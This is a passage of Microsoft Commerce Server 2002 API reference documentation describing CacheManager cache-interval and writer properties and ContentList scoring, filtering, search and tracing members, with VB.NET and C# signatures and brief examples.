public void set_RefreshInterval(
 string bstrName,
 int plRefresh
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the refresh interval is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the refresh interval is being provided or retrieved.
plRefresh
When setting the property, an int that contains the new refresh interval value.

Return Values

When getting, an int with the refresh interval.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A refresh interval value of zero (0) means that the cache is never refreshed automatically.

The default refresh interval value is zero (0).

The value is a measurement of the number of seconds between automatic cache refresh operations.

[C#] The get_RefreshInterval and set_RefreshInterval methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.RetryInterval Property (PIA)

The RetryInterval property is a read/write Integer that specifies the approximate number of seconds to wait before retrying to load the data cache after failing to load.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property RetryInterval(
 bstrName As String
) As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public int get_RetryInterval(
 string bstrName
);

Put method:

public void set_RetryInterval(
 string bstrName,
 int plRetry
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the retry interval is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the retry interval is being provided or retrieved.
plRetry
When setting the property, an int that contains the new retry interval value.

Return Values

When getting, an int with the retry interval.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A retry interval value provides the number of seconds the CacheManager object should wait before retrying a failed cache refresh operation.

The default retry interval value is 60 (seconds).

The retry interval must be at least 1 (second).

[C#] The get_RetryInterval and set_RetryInterval methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.WriterConfig Property (PIA)

The WriterConfig property is a read/write reference to a Dictionary object that contains configuration information for the Writer component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property WriterConfig(
 bstrName As String
) As Object
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public object get_WriterConfig(
 string bstrName
);

Put method:

public void set_WriterConfig(
 string bstrName,
 object ppdispConfig
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
ppdispConfig
When setting the property, a Dictionary object that contains the Writer component configuration information.

Return Values

When getting, an object (typically a Dictionary) with the configuration.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property, a Dictionary object containing configuration information for a particular Writer component, is passed to that Writer component when it is created to report results related to cache usage. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Writer component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the created Writer component using the SetConfigData method.

[C#] The get_WriterConfig and set_WriterConfig methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.WriterProgId Property (PIA)

The WriterProgId property is a read/write String that contains the Programmatic Identifier (ProgID) of the component intended for use in populating the cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property WriterProgId(
 bstrName As String
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_WriterProgId(
 string bstrName
);

Put method:

void set_WriterProgId(
 string bstrName,
 string ppstrProgId
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
ppstrProgId
When setting the property, a string that contains the ProgID of the Writer component.

Return Values

When getting, a string with the ProgID.

[C#]

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The get_WriterProgId and set_WriterProgId methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


ContentList Class (PIA)

Use this object to access a particular collection of content items. The ContentList object provides aggregated access to the private data that it stores, and to the shared data stored in the ContentListFactory object that created it. This object also flows through the Content Selection Framework (CSF) pipeline for the purpose of scoring content items.

Methods

Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
SetScore | Sets the score of an item in a ContentList object.

Properties

Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | ADODB26Lib.Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Integer | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether or not the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Single | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.

Remarks

Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore, they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • Search

Both objects also expose the GetData and SetData methods. These are not intended for use with C#. Use the get_Fields method instead.

The function of a ContentList object is:

  • To aggregate private data in the ContentList object with shared data in the ContentListFactory object.
  • To provide functionality for scoring, searching, and filtering the list of content.

The ContentList object is a dependent object. Create a new ContentList object and obtain a IContentList interface by calling the method ContentListFactory.CreateNewContentList.

Important

  • The ContentList and the ContentListFactory objects are designed to be run in-process with their clients.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


ContentList Methods (PIA)

Methods

Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
SetScore | Sets the score of an item in a ContentList object.


ContentList.AdjustScore Method (PIA)

Use this method to adjust the score of an item in the ContentList object by applying a multiplier.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub AdjustScore(
 RowNum As Integer,
 Multiplier As Single,
 Optional Component As String,
 Optional Description As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void AdjustScore(
 int RowNum,
 float Multiplier,
 string Component,
 string Description
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
Multiplier
A Single that contains the value by which the score will be multiplied.
Component
An optional String that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the ProgID of the pipeline component.
Description
An optional String that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment.
[C#]
RowNum
A int that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
Multiplier
A float that contains the value by which the score will be multiplied.
Component
A string that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the ProgID of the pipeline component. Set to Type.Missing to omit the component.
Description
A string that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment. Set to Type.Missing to omit a description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Values for the Component and Description parameters are optional, but at least one parameter must be passed. These parameters are ignored unless the TraceMode property is set to true.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

[Visual Basic .NET]

Example

myContentList.AdjustScore(1, 1.25)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.BuildIndex Method (PIA)

Use this method to build an index for a specific column in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub BuildIndex(
 vCol As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void BuildIndex(
 object vCol
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
[C#]
vCol
An object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following standard COM error value has a particular meaning in the context of this method.

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed. The non-private restriction means that the column will actually reside in the corresponding ContentListFactory object.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, although you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic .NET]

Example

myDataContainer.BuildIndex(10)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Filter Method (PIA)

Use this method to filter items in a ContentList object. Items that do not pass the filter have their scores set to zero (0).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub Filter(
 vColumn As Object,
 vFilterCriteria As Object,
 FilterAction As FilterActionEnum,
 Optional Component As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Filter(
 object vColumn,
 object vFilterCriteria,
 FilterActionEnum FilterAction,
 string Component
);

Parameters

[Visual Basic .NET]
vColumn
An Object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vFilterCriteria
An Object that contains the filter criterion. The criterion is either a single String, an array of Strings, or an Integer.
FilterAction
An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
Component
A String that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. Trace messages will be generated for content items that are filtered out.
[C#]
vColumn
A object that identifies the column upon which to filter. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vFilterCriteria
A object that contains the filter criterion. The criterion is a single string, a System.Array of strings, or an int.
FilterAction
An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
Component
A string that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. To omit this parameter set to Type.Missing. Trace messages will be generated for content items that are filtered out.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

An item in the ContentList object matches the criteria if the value for the specified column exactly matches a string or number passed in the vFilterCriteria parameter. If the vFilterCriteria parameter is an array of strings, matching any one of the strings in the array is considered a match. If the FilterAction parameter is set to FILTER_REQUIRE, non-matching items have their scores set to zero (0). If the FilterAction parameter is set to FILTER_EXCLUDE, matching items have their scores set to zero (0).

For the sake of uniformity, the pipeline components provided with Commerce Server 2002 pass their own ProgID for the Component parameter.

[Visual Basic .NET]

Example

myContentList.Filter("Score", 3, FILTER_EXCLUDE)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.GetData Method (PIA)

This method gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner.

[Visual Basic .NET] Due to performance considerations and compatibility issues, this method cannot be used with Microsoft Visual Basic .NET.

[C#] Due to performance considerations and compatibility issues, this method cannot be used with Microsoft C#.

Although the GetData method is part of the ContentList object, it is designed for use with COM and C++. Therefore, GetData is included here mainly to be consistent with the assembly description. To access the data in a ContentList object in C# or Visual Basic .NET, you can instead use one of the many other methods and properties associated with ContentList, such as the ContentList.ActiveRows property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.GetScore Method (PIA)

Use this method to retrieve the score of an item in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function GetScore(
 RowNum As Integer
) As Single
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public float GetScore(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).
[C#]
RowNum
A int that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Single that contains the score for the specified item.

[C#] This method returns a float containing the score for the specified item.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'sngScore is a Single
sngScore = myContentList.GetScore(12)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Search Method (PIA)

Use this method to create a RowCollection object that allows access to each item in the ContentList object that matches the specified criterion.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function Search(
 vCol As Object,
 vSearchCriteria As Object
) As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public RowCollection Search(
 object vCol,
 object vSearchCriteria
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria
An Object that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
[C#]
vCol
An object that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria
An object that contains the filter criterion. The criterion is usually a string, an array of strings, or an integer. The Search method will attempt to coerce other data types to the type of the column being searched.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to a new object that implements the RowCollection interface that contains one row for each matching item.

[C#] This method returns an RowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following standard COM error value has a particular meaning in the context of this method.

S_FALSE
No rows in the ContentList object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (int or short), or object array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of objects, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This property is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic .NET]

Example

'myCol is a RowCollection object
myCol = myContentList.Search(10, "CarAds")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.SetData Method (PIA)

Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner.

[Visual Basic .NET] Due to performance considerations, this method cannot be used from Microsoft Visual Basic .NET.

[C#] Due to performance considerations and compatibility issues, this method cannot be used with Microsoft C#.

Although the SetData method is part of the ContentList object, it is designed for use with COM and C++. Therefore, SetData is included here mainly to be consistent with the assembly description. To access the data in a ContentList object in C# or Visual Basic .NET, you can instead use one of the many other methods and properties associated with ContentList, such as the ContentList.ActiveRows property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.SetScore Method (PIA)

Use this method to set a new score for an item in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub SetScore(
 RowNum As Integer,
 Score As Single,
 Optional Component As String,
 Optional Description As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void SetScore(
 int RowNum,
 float Score,
 string Component,
 string Description
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
Score
A Single that contains the new score.
Component
A String that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing.
Description
A String that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing.
[C#]
RowNum
A int that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
Score
A float that contains the new score.
Component
A string that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing. To omit this parameter, set to Type.Missing.
Description
A string that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing. To omit this parameter, set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Values for the Component and Description parameters are optional, but at least one parameter must be passed.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

For the sake of uniformity, pipeline components provided with Commerce Server 2002 pass the ProgID of the component for the Component parameter.

[Visual Basic .NET]

Example

'strProgID is a string
myContentList.SetScore(123456, 0.5, strProgID, "")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList Properties (PIA)

Properties

Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | ADODB26Lib.Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Integer | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether or not the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Single | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.


ContentList.ActiveRows Property (PIA)

The ActiveRows property returns a RowCollection object. This property is read-only; however, the RowCollection object is read/write. Changes made to the data within the RowCollection object are also reflected in the ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property ActiveRows As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public RowCollection ActiveRows {get; }
[C#]

Property Value

The RowCollection interface of a RowCollection object that allows access the set of active items in this ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The ActiveRows RowCollection object allows access to the content items of the ContentList object whose score is greater than or equal to the current threshold score contained in the Threshold property. If the value of the Threshold property is set to a negative number, even items that have been filtered out by the Filter method might be included in the ActiveRows collection. This occurs because an item being filtered out has a score set to zero, which is still greater than a negative threshold value.

Regardless of the number of items with scores above the threshold, the number of items in the ActiveRows object is limited by the RowLimit property.

The order of the rows in the ActiveRows collection is undefined unless the Sorted property is set to True.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

RowCollection Class


ContentList.AllRows Property (PIA)

The AllRows property returns a new RowCollection object that allows access to the items in the ContentList object and, through aggregation, the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write. Changes made to the data in the RowCollection object are reflected in the ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property AllRows As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
IRowCollection  AllRows{get;}
[C#]

Property Value

The RowCollection interface of a RowCollection object that contains all of the items in this ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is functionally identical to the one of the same name to be found in the ContentListFactory object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

RowCollection Class


ContentList.Count Property (PIA)

The Count property is a read/write Integer that gets or sets the number of items in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Count As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int Count {get; set;}

Property Value

An int that contains the item count.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Normally, the Count property is already fixed when a ContentList object is created by a ContentListFactory object. The property may only be set for ContentList objects that are created by a ContentListFactory object that has not yet had any content items stored in it. Also, the Count property cannot be set to a number smaller than the current setting.

This property is functionally identical to the one of the same name in the ContentListFactory object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Factory Property (PIA)

The Factory property is a read-only IContentListFactory interface of the ContentListFactory object that created this ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property Factory As ContentListFactory
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public ContentListFactory Factory {get;}

Property Value

The IContentListFactory interface of the ContentListFactory object that created this ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Fields Property (PIA)

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields(
 RowNum As Integer
) As Fields
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For Fields
…
public Fields get_Fields(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
[C#]
RowNum
An int that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
[C#]

Return Values

[C#] This method returns an ADODB26Lib.Fields object for the specified row in the ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] The get_Fields method cannot be viewed in IntelliSense.

The Fields object exposes the same interface as the ActiveX Data Objects (ADO) Fields object.

This property is functionally identical to the one of the same name in the ContentListFactory object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.RowLimit Property (PIA)

The RowLimit property is a read/write number that specifies the maximum number of rows that the object should select for the ActiveRows property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property RowLimit As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int  RowLimit {get; set; }

Property Value

An Integer that specifies the row limit.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

ContentList.ActiveRows


ContentList.Sorted Property (PIA)

The Sorted property is a read/write Boolean that determines whether or not the next enumeration of the ContentList object ActiveRows property will be returned in sorted order by score (highest to lowest).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Sorted As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool  Sorted {get; set;}

Property Value

A bool that specifies whether or not to return the ActiveRows property in sorted order.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A value of true indicates that the next enumeration of the ContentList object ActiveRows property should be returned in sorted order by score (highest to lowest). A value of false indicates that it will not be sorted. The items do not actually change positions in the list — that is, the ordinal identifying an item never changes. Setting the value to true only effects the next enumeration of the ActiveRows property, subsequent enumerations will be unsorted unless the property is set to true again.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Threshold Property (PIA)

The Threshold property is a read/write floating point number. This number contains a threshold score that items must meet or exceed to be included in the ActiveRows collection property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Threshold As Single
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public float  Threshold{get; set;}

Property Value

This value contains the new threshold score.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.TraceMessages Property (PIA)

The TraceMessages property is a SimpleList object that contains the list of trace strings that have accumulated for the given item in a ContentList object. The TraceMessages property is read-only; however, the returned SimpleList object is read/write.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports Microsoft.CommerceServer.Interop     ‘ for ISimpleList
…
Public ReadOnly Property TraceMessages(
 RowNum As Integer
) As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
ISimpleList get_TraceMessages(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).
[C#]
RowNum
A int that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).

Return Values

[C#]

This method returns the ISimpleList interface of the SimpleList object that contains the trace messages.

The get_TraceMessages method cannot be viewed in IntelliSense.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The TraceMode property acts as a global switch to control whether any score tracing is performed. If it is set to True, score tracing is performed. If it is set to False, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

The list will be empty if the TraceMode property is set to False or if no score modifications have been made to the item.

Each item in the list is a string in the following format:

<component>,<operator><number>,<description>

Where the fields of the string are defined as follows:

component
The identifier of the component that made the score change, as passed to the AdjustScore, SetScore, and Filter methods.
operator
= if the score set to an absolute value by the SetScore or Filter methods, or * if a multiplier was applied to the score by the AdjustScore method.
number
The score returned by the SetScore method after any adjustments by the Filter or AdjustScore methods.
description
The reason for the score change, as passed to the AdjustScore or SetScore methods, and set by the Filter method.

An example score tracing string is:

"Commerce.AdNod,=0.9875,Need of Delivery".

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

ContentList.TraceMode


ContentList.TraceMode Property (PIA)

The TraceMode property is a read/write Boolean that controls whether score tracing is enabled or suppressed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property TraceMode As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool TraceMode {get; set }

Property Value

[C#]

